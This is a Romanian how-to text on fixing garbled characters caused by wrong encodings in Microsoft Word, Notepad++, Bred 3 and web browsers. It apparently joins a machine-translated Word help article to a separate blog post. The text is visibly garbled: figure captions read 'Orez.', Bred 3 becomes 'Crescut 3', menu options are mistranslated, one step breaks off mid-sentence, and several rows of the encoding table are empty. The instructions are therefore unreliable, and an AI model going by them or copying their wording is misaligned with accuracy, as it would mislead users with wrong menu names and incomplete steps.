Totuși, dacă același fișier este deschis pe un computer care utilizează o codificare diferită în mod implicit, pe ecran va fi afișat caracterul corespunzător numărului 201 din această codificare. De exemplu, dacă codarea utilizată pe computer este „Vest european (Windows)”, caracterul „Y” din fișierul text sursă bazat pe chirilic va fi afișat ca „É”, deoarece acest caracter corespunde numărului 201 din acest fișier. codificare.

Unicode: o singură codificare pentru diferite alfabete

Pentru a evita problemele legate de codificarea și decodarea fișierelor text, le puteți salva în Unicode. Această codificare include majoritatea caracterelor din toate limbile care sunt utilizate în mod obișnuit pe computerele moderne.

Deoarece Word se bazează pe Unicode, toate fișierele din acesta sunt salvate automat în această codificare. Fișierele Unicode pot fi deschise pe orice computer cu sistem de operare în limba engleză, indiferent de limba textului. În plus, fișierele Unicode care conțin caractere care nu se găsesc în alfabetele vest-europene (cum ar fi greacă, chirilică, arabă sau japoneză) pot fi stocate pe un astfel de computer.

Selectarea unei codări la deschiderea unui fișier

Dacă textul dintr-un fișier deschis este deformat sau apare ca semne de întrebare sau pătrate, este posibil ca Word să fi determinat incorect codarea. Puteți specifica codarea care va fi utilizată pentru afișarea (decodarea) textului.

    Deschide o filă Fişier.

    Faceți clic pe butonul Opțiuni.

    Faceți clic pe butonul În plus.

    Treci la secțiune Generalși bifați caseta Confirmați conversia formatului de fișier la deschidere.

    Notă: Dacă această casetă de selectare este bifată, Word afișează o casetă de dialog Conversie de fișiere ori de câte ori deschideți un fișier non-Word (adică un fișier care nu are o extensie DOC, DOT, DOCX, DOCM, DOTX sau DOTM). Dacă lucrați des cu astfel de fișiere, dar de obicei nu trebuie să alegeți o codificare, asigurați-vă că dezactivați această opțiune, astfel încât această casetă de dialog să nu apară.

    Închideți și apoi redeschideți fișierul.

    În caseta de dialog Conversie de fișiere selectați elementul Text codificat.

    În caseta de dialog Conversie de fișiere setați comutatorul Alteși selectați codarea dorită din listă.

    În zona Probă

Dacă aproape tot textul arată la fel (cum ar fi pătratele sau punctele), este posibil ca computerul să nu aibă fontul corect instalat. În acest caz, puteți instala fonturi suplimentare.

Pentru a instala fonturi suplimentare, procedați în felul următor:

    Faceți clic pe butonul startși selectați elementul Panou de control.

    FĂ una din urmĂtoarele:

    Pe Windows 7

    1. Pe panoul de control, selectați un element Dezinstalarea programelor.

      Schimbare.

    În Windows Vista

      Pe panoul de control, selectați secțiunea Dezinstalarea unui program.

      În lista de programe, faceți clic pe Microsoft Office sau Microsoft Word dacă a fost instalat separat de Microsoft Office, apoi faceți clic Schimbare.

    În Windows XP

      În Panoul de control, faceți clic pe element Instalarea și ștergerea programelor.

      Listată Programe instalate faceți clic pe Microsoft Office sau Microsoft Word dacă a fost instalat separat de Microsoft Office, apoi faceți clic Schimbare.

    Într-un grup Modificarea instalării Microsoft Office apasa butonul Adăugați sau eliminați componenteși apoi faceți clic pe butonul Continua.

    În capitolul Opțiuni de instalare element de extindere Instrumente Office comune, și apoi - Suport în mai multe limbi.

    Selectați fontul dorit, faceți clic pe săgeata de lângă el și alegeți Fugi de pe computerul meu.

Sfat: Când deschideți un fișier text într-o codificare sau alta, Word folosește fonturile definite în caseta de dialog Opțiuni pentru documente web. (Pentru a afișa caseta de dialog Opțiuni pentru documente web, faceți clic butonul Microsoft Office, apoi apasa Opțiuni pentru cuvinteși selectați o categorie În plus. În capitolul General apasa butonul Opțiuni pentru documente web.) Folosind opțiunile din filă Fonturi căsuță de dialog Opțiuni pentru documente web puteți personaliza fontul pentru fiecare codificare.

Alegerea unei codificări la salvarea unui fișier

Dacă nu selectați o codificare când salvați fișierul, va fi folosit Unicode. Ca regulă generală, Unicode este recomandat deoarece acceptă majoritatea caracterelor în majoritatea limbilor.

Dacă intenționați să deschideți documentul într-un program care nu acceptă Unicode, puteți selecta codarea dorită. De exemplu, pe un sistem de operare englez, puteți crea un document chinez tradițional folosind Unicode. Cu toate acestea, dacă un astfel de document va fi deschis într-un program care acceptă limba chineză, dar nu acceptă Unicode, fișierul poate fi salvat în codificarea „Chinese Traditional (Big5)”. Ca urmare, textul va fi afișat corect atunci când documentul este deschis într-un program care acceptă chineza tradițională.

Notă: Deoarece Unicode este cel mai complet standard, este posibil ca unele caractere să nu fie afișate atunci când salvați text în alte codificări. Să presupunem, de exemplu, că un document Unicode conține atât text ebraic, cât și chirilic. Dacă salvați fișierul în codificare „Chirilic (Windows)”, textul ebraic nu va fi afișat, iar dacă îl salvați în codificare „Ebraică (Windows)”, textul chirilic nu va fi afișat.

Dacă alegeți un standard de codare care nu acceptă unele dintre caracterele din fișier, Word le va marca cu roșu. Puteți previzualiza textul din codificarea selectată înainte de a salva fișierul.

Salvarea unui fișier ca text codificat elimină textul pentru care este selectat fontul Simbol, precum și codurile de câmp.

Selecția codificării

    Deschide o filă Fişier.

    În câmp Nume de fișier introduceți un nume pentru noul fișier.

    În câmp Tip fișier Selectați text simplu.

    Dacă apare o casetă de dialog Microsoft Office Word - Verificare compatibilitate, apasa butonul Continua.

    În caseta de dialog Conversie de fișiere alege codificarea potrivită.

    • Pentru a utiliza o codificare standard, selectați opțiunea Windows (implicit).

      Pentru a utiliza codarea MS-DOS, selectați opțiunea MS-DOS.

      Pentru a seta o altă codificare, setați butonul radio Alteși selectați elementul dorit din listă. În zona Probă puteți vizualiza textul și puteți verifica dacă este afișat corect în codificarea selectată.

      Notă: Puteți redimensiona caseta de dialog pentru a mări zona de afișare a documentului Conversie de fișiere.

    Dacă vedeți mesajul „Textul evidențiat cu roșu nu poate fi stocat corect în codificarea selectată”, puteți selecta o altă codificare sau puteți bifa caseta Permite înlocuirea caracterelor.

    Dacă înlocuirea caracterelor este activată, caracterele care nu pot fi afișate vor fi înlocuite cu cele mai apropiate caractere echivalente din codificarea selectată. De exemplu, punctele de suspensie sunt înlocuite cu trei puncte, iar ghilimelele de colț sunt înlocuite cu unele drepte.

    Dacă codarea selectată nu are caractere echivalente pentru caracterele evidențiate cu roșu, acestea vor fi stocate în afara contextului (de exemplu, ca semne de întrebare).

    Dacă documentul va fi deschis într-un program care nu include text de la o linie la alta, puteți include întreruperi de linie tare în document. Pentru a face acest lucru, bifați caseta Inserați întreruperi de linieși specificați simbolul de pauză dorit (întoarcerea căruciorului (CR), avansul de linie (LF) sau ambele) în câmp Liniile de capăt.

Găsirea codificărilor disponibile în Word

Word recunoaște mai multe codificări și acceptă codificări care sunt incluse cu software-ul de sistem.

Mai jos este o listă de scripturi și codificări asociate acestora (pagini de coduri).

Sistem de scriere

Codificări

Font folosit

Multilingv

Unicode (UCS-2 big endian, big endian, UTF-8, UTF-7)

Font standard pentru stilul „Normal” al versiunii localizate de Word

arabic

Windows 1256, ASMO 708

Chineză simplificată)

GB2312, GBK, EUC-CN, ISO-2022-CN, HZ

Tradițional chinezesc)

BIG5, EUC-TW, ISO-2022-TW

chirilic

Windows 1251, KOI8-R, KOI8-RU, ISO8859-5, DOS 866

Engleză, Europa de Vest și altele bazate pe grafia latină

Windows 1250, 1252-1254, 1257, ISO8859-x

greacă

japonez

Shift-JIS, ISO-2022-JP (JIS), EUC-JP

coreeană

Wansung, Johab, ISO-2022-KR, EUC-KR

vietnamez

Indian: tamil

Indian: Nepalez

ISCII 57002 (Devanagari)

Indian: Konkani

ISCII 57002 (Devanagari)

indian: hindi

ISCII 57002 (Devanagari)

Indian: Asamez

Indian: bengaleză

Indian: Gujarati

Indian: Kannada

indian: malayalam

Indian: oriya

Indian: marathi

ISCII 57002 (Devanagari)

Indian: Punjabi

Indian: sanscrită

ISCII 57002 (Devanagari)

Indian: Telugu

    Limbile indice necesită suport pentru sistemul de operare și fonturi OpenType adecvate pentru a fi utilizate.

    Numai asistență limitată este disponibilă pentru nepaleză, assameză, bengaleză, gujarati, malayalam și oriya.

O zi buna.

Probabil, fiecare utilizator de PC a întâmpinat o problemă similară: deschizi o pagină web sau un document Microsoft Word - și în loc de text vezi hieroglife (diverse „crăpături”, litere necunoscute, numere etc. (ca în imaginea din stânga). ...)).

Ei bine, dacă acest document (cu hieroglife) nu este deosebit de important pentru tine, dar dacă trebuie să-l citești?! Destul de des, mi se pun întrebări similare și solicitări de ajutor pentru descoperirea unor astfel de texte. În acest scurt articol, vreau să iau în considerare cele mai populare motive pentru apariția hieroglifelor (desigur și să le elimin).

Hieroglife în fișierele text (.txt)

Cea mai populară problemă. Cert este că un fișier text (de obicei în format txt, dar sunt și formate: php, css, info etc.) poate fi salvat în diverse codificări.

Codificare- acesta este un set de caractere necesar pentru a asigura pe deplin scrierea textului într-un anumit alfabet (inclusiv numere și caractere speciale). Mai multe detalii despre asta aici: https://en.wikipedia.org/wiki/CharacterSet

Cel mai adesea, se întâmplă un lucru: documentul este pur și simplu deschis într-o codificare greșită, ceea ce provoacă confuzie, iar în loc de codul unor caractere, altele vor fi apelate. Pe ecran apar diverse caractere de neînțeles (vezi Fig. 1) ...

Orez. 1. Notepad - problemă de codificare

Cum să te descurci?

După părerea mea, cea mai bună opțiune este să instalați un notepad avansat, precum Notepad++ sau Bred 3. Să aruncăm o privire mai atentă la fiecare dintre ele.

Notepad++

Unul dintre cele mai bune notebook-uri atât pentru începători, cât și pentru profesioniști. Pro: program gratuit, acceptă limba rusă, funcționează foarte rapid, evidențierea codului, deschiderea tuturor formatelor de fișiere comune, un număr mare de opțiuni vă permit să-l personalizați pentru dvs.

În ceea ce privește codificările, există în general o ordine completă aici: există o secțiune separată „Codificări” (vezi Fig. 2). Încercați doar să schimbați ANSI în UTF-8 (de exemplu).

După ce am schimbat codificarea, documentul meu text a devenit normal și lizibil - hieroglifele au dispărut (vezi Fig. 3)!

Orez. 3. Textul a devenit lizibil... Notepad++

Crescut 3

Un alt program grozav conceput pentru a înlocui complet blocnotesul standard în Windows. De asemenea, funcționează „ușor” cu multe codificări, le schimbă cu ușurință, acceptă un număr mare de formate de fișiere, acceptă noul sistem de operare Windows (8, 10).

Apropo, Bred 3 ajută foarte mult atunci când lucrați cu fișiere „vechi” salvate în formate MS DOS. Când alte programe arată doar hieroglife, Bred 3 le deschide cu ușurință și vă permite să lucrați cu ele calm (vezi Fig. 4).

Dacă în loc de text, hieroglife în Microsoft Word

Primul lucru la care trebuie să acordați atenție este formatul fișierului. Faptul este că, începând cu Word 2007, a apărut un nou format - „docx”(Odinioară era doar „doc“). De obicei, formatele noi de fișiere nu pot fi deschise în „vechiul” Word, dar uneori se întâmplă ca aceste fișiere „noi” să se deschidă în vechiul program.

Doar deschideți proprietățile fișierului și apoi uitați-vă la fila Detalii (ca în Figura 5). Deci veți afla formatul fișierului (în Fig. 5 - formatul fișierului este „txt”).

Dacă formatul de fișier este docx - și aveți un Word vechi (sub versiunea 2007) - atunci actualizați doar Word la 2007 sau o versiune ulterioară (2010, 2013, 2016).

În continuare, când deschideți fișierul Notă(în mod implicit, această opțiune este întotdeauna activată, cu excepția cazului în care, desigur, aveți „nu înțeleg ce asamblare”) - Word vă va întreba din nou: în ce codificare să deschideți fișierul (acest mesaj apare cu orice „hint” de probleme la deschiderea unui fișier, vezi fig. 5).

Orez. 6. Word - conversie fișier

Cel mai adesea, Word determină automat codarea necesară, dar textul nu este întotdeauna lizibil. Trebuie să setați glisorul la codificarea dorită atunci când textul devine lizibil. Uneori, trebuie să ghiciți literalmente unde a fost salvat fișierul pentru a-l citi.

Orez. 8. browserul a detectat codificarea greșită

Pentru a remedia afișarea site-ului: modificați codificarea. Acest lucru se face în setările browserului:

  1. google chrome: opțiuni (pictograma din colțul din dreapta sus) / opțiuni avansate / codificare / Windows-1251 (sau UTF-8);
  2. Firefox: butonul ALT din stânga (dacă aveți panoul superior dezactivat), apoi vizualizarea paginii / codificarea / selectați-l pe cel dorit (cel mai adesea Windows-1251 sau UTF-8);
  3. operă: Opera (pictograma roșie în colțul din stânga sus) / pagină / codificare / selectați-l pe cel de care aveți nevoie.

PS

Astfel, în acest articol au fost analizate cele mai frecvente cazuri de apariție a hieroglifelor asociate cu o codificare definită incorect. Folosind metodele de mai sus, puteți rezolva toate problemele principale cu codificarea incorectă.

Aș fi recunoscător pentru completări pe această temă. mult succes 🙂



Se încarcă...
Top